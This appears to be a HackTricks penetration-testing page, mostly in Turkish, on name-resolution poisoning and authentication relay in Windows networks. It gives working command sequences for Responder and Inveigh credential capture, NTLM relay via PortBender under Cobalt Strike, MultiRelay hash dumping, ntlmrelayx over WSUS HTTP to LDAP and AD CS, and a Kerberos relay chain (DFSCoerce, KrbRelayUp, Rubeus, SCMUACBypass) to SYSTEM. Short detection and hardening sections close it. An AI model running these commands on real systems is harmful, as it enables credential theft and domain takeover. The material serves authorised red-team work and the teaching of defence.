Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Reading time: 14 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Ağ Protokolleri

Yerel Host Çözümleme Protokolleri

  • LLMNR, NBT-NS, and mDNS:
  • Microsoft ve diğer işletim sistemleri DNS başarısız olduğunda yerel isim çözümü için LLMNR ve NBT-NS kullanır. Benzer şekilde, Apple ve Linux sistemleri mDNS kullanır.
  • Bu protokoller, UDP üzerinden kimlik doğrulaması olmadan ve broadcast (yayın) şeklinde çalıştıkları için dinleme ve spoofing'e karşı hassastır.
  • Responder, bu protokolleri sorgulayan hostlara sahte yanıtlar göndererek hizmetleri taklit etmek için kullanılabilir.
  • Responder kullanarak hizmet taklidi hakkında daha fazla bilgiye buradan ulaşılabilir.

Web Proxy Auto-Discovery Protocol (WPAD)

  • WPAD, tarayıcıların proxy ayarlarını otomatik olarak keşfetmesini sağlar.
  • Keşif DHCP, DNS aracılığıyla ya da DNS başarısız olursa LLMNR ve NBT-NS'e geri dönerek gerçekleştirilir.
  • Responder, WPAD saldırılarını otomatikleştirerek istemcileri kötü amaçlı WPAD sunucularına yönlendirebilir.

Responder for Protocol Poisoning

  • Responder is a tool used for poisoning LLMNR, NBT-NS, and mDNS queries, selectively responding based on query types, primarily targeting SMB services.
  • Kali Linux'ta önceden yüklü gelir, /etc/responder/Responder.conf dosyasından yapılandırılabilir.
  • Responder, yakalanan hashleri ekranda gösterir ve /usr/share/responder/logs dizinine kaydeder.
  • Hem IPv4 hem de IPv6'yı destekler.
  • Responder'ın Windows sürümü burada mevcuttur.

Running Responder

  • Varsayılan ayarlarla Responder'ı çalıştırmak için: responder -I <Interface>
  • Daha agresif tarama için (yan etkiler olabilir): responder -I <Interface> -P -r -v
  • Kolay kırma için NTLMv1 challenge/response yakalama teknikleri: responder -I <Interface> --lm --disable-ess
  • WPAD taklidini etkinleştirmek için: responder -I <Interface> --wpad
  • NetBIOS istekleri saldırganın IP'sine yönlendirilebilir ve bir authentication proxy kurulabilir: responder.py -I <interface> -Pv

DHCP Poisoning with Responder

  • DHCP yanıtlarını spoofing yaparak taklit etmek, kurbanın routing bilgilerini kalıcı olarak zehirleyebilir; bu, ARP poisoning'e göre daha gizli bir alternatiftir.
  • Hedef ağın yapılandırması hakkında kesin bilgi gerektirir.
  • Saldırıyı çalıştırmak için: ./Responder.py -I eth0 -Pdv
  • Bu yöntem NTLMv1/2 hashlerini etkili şekilde yakalayabilir, ancak ağ kesintisini önlemek için dikkatli kullanılmalıdır.

Capturing Credentials with Responder

  • Responder, yukarıda bahsedilen protokolleri kullanarak hizmetleri taklit eder ve bir kullanıcı taklit edilen hizmetlere kimlik doğrulaması yapmaya çalıştığında kimlik bilgilerini (genellikle NTLMv2 Challenge/Response) yakalar.
  • Kimlik bilgilerini daha kolay kırmak için NetNTLMv1'e düşürme veya ESS'i devre dışı bırakma girişimleri yapılabilir.

Bu tekniklerin uygulanmasının yasal ve etik çerçevede, uygun yetkilendirme sağlanarak ve kesinti veya yetkisiz erişimden kaçınılarak yapılması kritik önem taşır.

Inveigh

Inveigh, Windows sistemleri için tasarlanmış penetration testers ve red teamers için bir araçtır. Responder'a benzer işlevsellikler sunar; spoofing ve man-in-the-middle saldırıları gerçekleştirir. Araç, bir PowerShell betiğinden C# ikili dosyasına doğru evrilmiştir; ana sürümleri Inveigh ve InveighZero şeklindedir. Ayrıntılı parametreler ve talimatlar wiki sayfasında bulunabilir.

Inveigh, PowerShell üzerinden çalıştırılabilir:

bash
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Veya C# binary olarak çalıştırıldığında:

bash
Inveigh.exe

NTLM Relay Attack

Bu saldırı, SMB kimlik doğrulama oturumlarını hedef makineye erişmek için kullanır ve başarılı olursa bir sistem kabuğu sağlar. Temel önkoşullar şunlardır:

  • Kimlik doğrulayan kullanıcının relayed host üzerinde Local Admin erişimine sahip olması gerekir.
  • SMB signing devre dışı bırakılmalıdır.

445 Port Yönlendirme ve Tünelleme

Doğrudan ağ erişiminin mümkün olmadığı senaryolarda, 445 portundaki trafik yönlendirilmeli ve tünellenmelidir. PortBender gibi araçlar, 445 trafiğini başka bir porta yönlendirmede yardımcı olur; bu, sürücü yüklemek için Local Admin erişimi mevcut olduğunda önemlidir.

PortBender kurulumu ve Cobalt Strike içinde çalıştırılması:

bash
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

NTLM Relay Attack için Diğer Araçlar

  • Metasploit: proxylerle ve yerel ile uzak host detaylarıyla yapılandırılır.
  • smbrelayx: SMB oturumlarını relay etmek ve komutlar yürütmek veya backdoors dağıtmak için bir Python scripti.
  • MultiRelay: belirli kullanıcıları veya tüm kullanıcıları relay etmek, komut çalıştırmak veya hash'leri dump etmek için Responder suite'inden bir araç.

Gerekirse her araç SOCKS proxy üzerinden çalışacak şekilde yapılandırılabilir; bu, dolaylı ağ erişimi olsa bile saldırıları mümkün kılar.

MultiRelay İşleyişi

MultiRelay /usr/share/responder/tools dizininden çalıştırılır; belirli IP'leri veya kullanıcıları hedef alır.

bash
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

These tools and techniques form a comprehensive set for conducting NTLM Relay attacks in various network environments.

WSUS HTTP (8530) kullanarak NTLM Relay ile LDAP/SMB/AD CS (ESC8) kötüye kullanımı

WSUS client'ları update server'a NTLM üzerinden HTTP (8530) veya HTTPS (8531) ile kimlik doğrulaması yapar. HTTP etkinse, periyodik client check-in'leri lokal segmentte zorlanabilir veya yakalanıp ntlmrelayx ile LDAP/LDAPS/SMB veya AD CS HTTP uç noktalarına (ESC8) hash kırmadan relay edilebilir. Bu normal update trafiğine karışır ve sıklıkla makine hesabı kimlik doğrulamalarını (HOST$) getirir.

Neye bakmalı

  • GPO/registry konfigürasyonu HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate ve ...\WindowsUpdate\AU altında:
  • WUServer (ör. http://wsus.domain.local:8530)
  • WUStatusServer (raporlama URL'si)
  • UseWUServer (1 = WSUS; 0 = Microsoft Update)
  • DetectionFrequencyEnabled ve DetectionFrequency (saat)
  • Client'lar tarafından HTTP üzerinden kullanılan WSUS SOAP uç noktaları:
  • /ClientWebService/client.asmx (onaylar)
  • /ReportingWebService/reportingwebservice.asmx (durum)
  • Varsayılan portlar: 8530/tcp HTTP, 8531/tcp HTTPS

Keşif

  • Kimlik doğrulamasız
  • Listener'lar için tarama: nmap -sSVC -Pn --open -p 8530,8531 -iL
  • L2 MITM ile HTTP WSUS trafiğini sniffleyin ve aktif client'ları/uç noktaları wsusniff.py ile loglayın (yalnızca HTTP; client'ları TLS sertifikanıza güvenecek şekilde zorlayamazsanız).
  • Kimlik doğrulamalı
  • SYSVOL GPO'larını MANSPIDER + regpol ile WSUS anahtarları için parse edin (wsuspider.sh wrapper WUServer/WUStatusServer/UseWUServer özetler).
  • Hostlar üzerinden veya yerelde uç noktaları ölçekli sorgulayın: nxc smb -u -p -M reg-query -o PATH="HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" KEY="WUServer" reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

Uçtan uca HTTP relay adımları

  1. MITM pozisyonu alın (aynı L2) böylece bir client WSUS server'ı sizi çözsün (ARP/DNS poisoning, Bettercap, mitm6, vb.). arpspoof ile örnek: arpspoof -i -t <wsus_client_ip> <wsus_server_ip>

  2. Port 8530'ı relay listener'ınıza yönlendirin (isteğe bağlı, kullanışlı): iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530 iptables -t nat -L PREROUTING --line-numbers

  3. HTTP listener ile ntlmrelayx başlatın (HTTP listener için Impacket desteği gerekir; aşağıdaki PR'lara bakın): ntlmrelayx.py -t ldap:// -smb2support -socks --keep-relaying --http-port 8530

Diğer yaygın hedefler:

  • Exec/dump için SMB'ye relay (signing kapalıysa): -t smb://
  • Directory değişiklikleri için LDAPS'ye relay (ör. RBCD): -t ldaps://
  • AD CS web enrollment (ESC8) için relay edip bir sertifika mintleyip ardından Schannel/PKINIT ile kimlik doğrulama: ntlmrelayx.py --http-port 8530 -t http:///certsrv/certfnsh.asp --adcs --no-http-server AD CS kötüye kullanım yolları ve araçları için AD CS sayfasına bakın:

AD CS Domain Escalation

  1. Bir client check-in tetikleyin veya zamanlamayı bekleyin. Bir client'tan: wuauclt.exe /detectnow veya Windows Update UI'ını kullanın (Check for updates).

  2. Kimlik doğrulanmış SOCKS oturumlarını kullanın (eğer -socks) veya post-exploitation için direkt relay sonuçlarını kullanın (LDAP değişiklikleri, SMB işlemleri veya daha sonra kimlik doğrulama için AD CS sertifika düzenlemesi).

HTTPS kısıtı (8531)

  • WSUS HTTPS üzerinden pasif yakalama etkisizdir, client'lar sizin sertifikanıza güvenmiyorsa. Güvenilen bir sertifika veya başka bir TLS kırma yöntemi olmadan, WSUS HTTPS trafiğinden NTLM el sıkışması elde edilemez/relay edilemez.

Notlar

  • WSUS deprecated ilan edildi ancak yaygın şekilde kullanılıyor; HTTP (8530) birçok ortamda hala yaygın.
  • Faydalı yardımcılar: wsusniff.py (HTTP WSUS check-in'lerini gözlemleme), wsuspider.sh (GPO'lardan WUServer/WUStatusServer'ı enumerate etme), NetExec reg-query ölçekli kullanım.
  • Impacket, ntlmrelayx için HTTP listener desteğini PR #2034 ile geri getirdi (ilk olarak PR #913'te eklenmişti).

Force NTLM Logins

Windows'ta bazı ayrıcalıklı hesapları arbitrary makinelere kimlik doğrulaması yapmaya zorlayabilirsiniz. Nasıl yapıldığını öğrenmek için aşağıdaki sayfayı okuyun:

Force NTLM Privileged Authentication

Kerberos Relay attack

A Kerberos relay attack, bir AP-REQ ticket'ı bir servisten çalar ve aynı computer-account key'i paylaşan (çünkü her iki SPN de aynı $ machine account üzerinde) ikinci bir servise yeniden kullanır. Bu, SPN'lerin service class'ları farklı olsa bile (ör. CIFS/LDAP/) işe yarar çünkü bileti decrypt eden key makinenin NT hash'idir, SPN string'i kendisi değildir ve SPN string'i imzanın parçası değildir.

NTLM relay'den farklı olarak, atlama aynı host ile sınırlıdır ama eğer LDAP'a yazmanıza izin veren bir protokole hedeflenirseniz, bunu Resource-Based Constrained Delegation (RBCD) veya AD CS enrollment zincirine bağlayabilir ve tek seferde NT AUTHORITY\SYSTEM elde edebilirsiniz.

Bu saldırı hakkında detaylı bilgi için bakın:

TokenAmaçRelay ile ilgisi
TGT / AS-REQ ↔ REPKullanıcıyı KDC'ye kanıtlardokunulmaz
Service ticket / TGS-REQ ↔ REPTek bir SPN'e bağlıdır; SPN sahibi hesabın anahtarıyla şifreleniraynı hesapta SPN'ler varsa değiştirilebilir
AP-REQClient TGS'yi servise gönderirbizim çaldığımız ve tekrar oynattığımız şey
  • Biletler, SPN sahibi hesabın şifre türetilmiş anahtarı ile şifrelenir.
  • AP-REQ içindeki Authenticator 5 dakikalık bir zaman damgasına sahiptir; o pencere içinde replay geçerlidir, ta ki servis cache'i bir duplicate görüp reddedene kadar.
  • Windows nadiren bilettin içindeki SPN string'inin gerçekten vurduğunuz servisle eşleşip eşleşmediğini kontrol eder, bu yüzden CIFS/HOST için bir bilet normalde LDAP/HOST üzerinde de düzgün decrypt edilir.
    1. Kerberos relay için ne doğru olmalı
  1. Paylaşılan anahtar: kaynak ve hedef SPN'ler aynı computer account'a ait olmalı (Windows server'larda varsayılan).
  2. Channel protection yok: SMB/LDAP signing kapalı ve HTTP/LDAPS için EPA kapalı.
  3. Kimlik doğrulamayı yakalayabilir veya zorlayabilirsiniz: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, sahte AuthIP, rogue DCOM, vb.
  4. Bilet kaynağı zaten kullanılmamış olmalı: gerçek paket ulaşmadan önce yarışı kazanmalısınız veya tamamen engellemelisiniz; aksi halde servis replay cache'i Event 4649 tetikler.
  5. Bir şekilde iletişimde bir MitM yapabilmelisiniz — ör. domain DNS'ini değiştirme yetkiniz (DNSAmins grubu) veya kurbanın HOST dosyasını değiştirebilme gibi.

Kerberos Relay Steps

  • 3.1 Host keşfi
powershell
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
  • 3.2 Relay dinleyicisini başlat

KrbRelayUp

powershell
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp tek bir binary içinde KrbRelay → LDAP → RBCD → Rubeus → SCM bypass birleştirir.

  • 3.3 Coerce Kerberos auth
powershell
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce, DC'nin bize bir Kerberos CIFS/DC01 bileti göndermesini sağlar.

  • 3.4 Relay the AP-REQ

KrbRelay, SMB'den GSS blob'unu çıkarır, bunu bir LDAP bind'e yeniden paketler ve ldap://DC01 adresine iletir — kimlik doğrulama başarılı olur çünkü aynı anahtar bunu çözer.

  • 3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM
powershell
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

You now own NT AUTHORITY\SYSTEM.

Bilmeniz gereken diğer yollar

VectorTrickWhy it matters
AuthIP / IPSecSahte sunucu herhangi bir SPN ile bir GSS-ID payload gönderir; istemci doğrudan size bir AP-REQ oluştururAlt ağlar arasında bile çalışır; machine creds varsayılan
DCOM / MSRPCKötü amaçlı OXID resolver istemciyi rastgele bir SPN ve porta auth yapmaya zorlarTamamen yerel priv-esc; firewall'ı atlar
AD CS Web EnrollMakine ticket'ini HTTP/CA'ya relay edip bir cert alın, sonra PKINIT ile TGT'ler oluşturunLDAP signing savunmalarını atlar
Shadow CredentialsmsDS-KeyCredentialLink yazın, sonra sahte anahtar çifti ile PKINIT yapınBilgisayar hesabı eklemeye gerek yok

Sorun Giderme

ErrorMeaningFix
KRB_AP_ERR_MODIFIEDTicket key ≠ target keyYanlış host/SPN
KRB_AP_ERR_SKEWClock > 5 min offsetZamanı senkronize edin veya w32tm kullanın
LDAP bind failsSigning enforcedAD CS yolunu kullanın veya signing'i devre dışı bırakın
Event 4649 spamService saw duplicate AuthenticatorOrijinal paketi engelleyin veya onunla yarışın

Tespit

  • Kısa süre içinde aynı kaynaktan CIFS/, HTTP/, LDAP/ için Event 4769 artışı.
  • Serviste Event 4649, replay tespit edildiğini gösterir.
  • 127.0.0.1 üzerinden Kerberos oturumu (yerel SCM'ye relay) son derece şüphelidir — KrbRelayUp dokümanlarındaki Sigma kuralıyla eşleyin.
  • msDS-AllowedToActOnBehalfOfOtherIdentity veya msDS-KeyCredentialLink özniteliklerinde yapılan değişiklikleri izleyin.

Sertleştirme

  1. Her sunucuda LDAP & SMB signing + EPA'yı zorunlu kılın.
  2. SPN'leri ayırın; böylece HTTP, CIFS/LDAP ile aynı hesapta olmasın.
  3. Zorlama vektörlerini yamalayın (PetitPotam KB5005413, DFS, AuthIP).
  4. Kötü amaçlı bilgisayar katılımlarını durdurmak için ms-DS-MachineAccountQuota = 0 olarak ayarlayın.
  5. Event 4649 ve beklenmeyen loopback Kerberos oturumları için uyarı oluşturun.

References

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin